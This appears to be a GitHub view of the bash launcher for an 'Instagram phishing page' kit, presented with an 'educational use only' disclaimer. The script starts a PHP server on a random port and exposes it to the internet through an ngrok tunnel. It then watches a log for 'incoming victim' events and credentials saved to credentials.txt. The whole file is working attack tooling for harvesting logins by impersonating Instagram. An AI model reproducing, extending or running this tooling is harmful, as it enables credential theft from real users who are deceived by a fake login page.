A Simple Instagram Phishing Page • For educational use only • The author is not responsible for illegal misuse.
at master 3.3 kB view raw
1#!/bin/bash 2 3# Load colors and connection check 4source utils/colors.sh 5source utils/connection.sh 6 7# Check if php is installed 8function check_php { 9 if ! command -v php &>/dev/null; then 10 printf "${BOLD}${WHITE}[${RED}x${WHITE}]${RESET} Please install php\n" 11 exit 0 12 fi 13} 14 15# Check if ngrok is installed 16function check_ngrok { 17 ngrok_installed=$( 18 command -v ngrok &>/dev/null \ 19 && echo true \ 20 || echo false 21 ) 22} 23 24# Check binaries 25function check_installation { 26 check_php 27 check_ngrok 28} 29 30# Handle exit gracefully 31function handle_exit { 32 # Disable Ctrl+C (^C) character display 33 stty -echoctl 34 35 # Trap Ctrl+C (SIGINT) to kill background processes and exit cleanly 36 trap "echo;\ 37 printf '${BOLD}${WHITE}[${RED}*${WHITE}]${RESET} Shutting down\n';\ 38 kill $php_pid $ngrok_pid 2>/dev/null;\ 39 exit 0\ 40 " INT 41} 42 43# Check if a port is free 44function is_port_free { 45 ! lsof -i :$1 >/dev/null 2>&1 46} 47 48# Generate a random 4-digit free port 49function get_free_port { 50 while true; do 51 port=$((RANDOM % 5999 + 4001)) 52 if is_port_free "$port"; then 53 echo "$port" 54 return 55 fi 56 done 57} 58 59# Start PHP server and log output to file 60function start_php_server { 61 php -S 0.0.0.0:$1 >> logs/phishing.log 2>&1 & 62 php_pid=$! 63 printf "${BOLD}${WHITE}[${GREEN}+${WHITE}]${RESET} Server started on port ${YELLOW}$1${RESET}\n" 64 printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Local URL : ${BLUE}http://localhost:$1${RESET}\n\n" 65} 66 67function start_ngrok_forward { 68 if [[ "$ngrok_installed" != "true" ]]; then 69 printf "${BOLD}${WHITE}[${RED}!${WHITE}]${RESET} Ngrok is not installed.\n" 70 printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Server is running locally\n" 71 elif [[ ! -f "$HOME/.config/ngrok/ngrok.yml" ]]; then 72 printf "${BOLD}${WHITE}[${RED}!${WHITE}]${RESET} Ngrok config not found.\n" 73 printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Server is running locally\n" 74 else 75 printf "${BOLD}${WHITE}[${GREEN}?${WHITE}]${RESET} Checking internet connection " 76 if ! connected; then 77 printf "${BOLD}${RED}x${RESET}\n" 78 printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Server is running locally\n" 79 else 80 printf "${BOLD}${GREEN}${RESET}\n" 81 printf "${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Ngrok tunneling operational\n" 82 start_ngrok 83 fi 84 fi 85} 86 87# Start ngrok and wait for public URL 88function start_ngrok { 89 ngrok http $port > /dev/null 2>&1 & 90 ngrok_pid=$! 91 92 printf "\n${BOLD}${WHITE}[${GREEN}+${WHITE}]${RESET} Waiting for ngrok tunnel " 93 while true; do 94 ngrok_url=$(curl -s http://127.0.0.1:4040/api/tunnels | grep -o 'https://[^"]*' | head -n 1) 95 if [[ -n "$ngrok_url" ]]; then 96 break 97 fi 98 echo -n "." 99 sleep 0.5 100 done 101 102 printf "\n${BOLD}${WHITE}[${BLUE}*${WHITE}]${RESET} Public URL : ${BLUE}$ngrok_url${RESET}\n" 103} 104 105# Monitor log file for connections 106function handle_connection { 107 printf "\n${BOLD}${WHITE}[${GREEN}*${WHITE}]${RESET} Waiting for incoming victim\n\n" 108 109 tail -n 0 -f logs/phishing.log | while IFS= read -r line; do 110 if [[ "$line" =~ \[\!\] ]] || [[ "$line" =~ \[\+\] ]] || [[ "$line" =~ \[\*\] ]]; then 111 printf "$line\n" 112 fi 113 if [[ "$line" == *"[*] Saved in credentials.txt"* ]]; then 114 printf "\n${BOLD}${WHITE}[${GREEN}*${WHITE}]${RESET} Waiting for incoming victim\n\n" 115 fi 116 done 117}